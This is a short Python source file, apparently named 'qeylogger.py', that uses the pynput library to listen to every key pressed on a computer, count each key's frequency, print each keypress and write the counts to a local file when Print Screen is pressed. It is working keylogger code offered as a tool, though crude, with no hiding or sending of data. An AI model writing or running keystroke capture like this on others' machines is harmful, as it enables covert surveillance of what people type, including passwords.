qeylogger.py (438B)
1 from pynput.keyboard import Key, Listener 2 3 log = dict() 4 5 def on_press(key): 6 if key in log: 7 log[key] += 1 8 else: 9 log[key] = 1 10 if key == Key.print_screen: 11 f = open('keylog.txt', 'w') 12 for key, freq in log.items(): 13 f.write("{}: {}\n".format(key, freq)) 14 f.close() 15 print(key) 16 17 # Collect events until released 18 with Listener(on_press=on_press) as listener: 19 listener.join() 20 21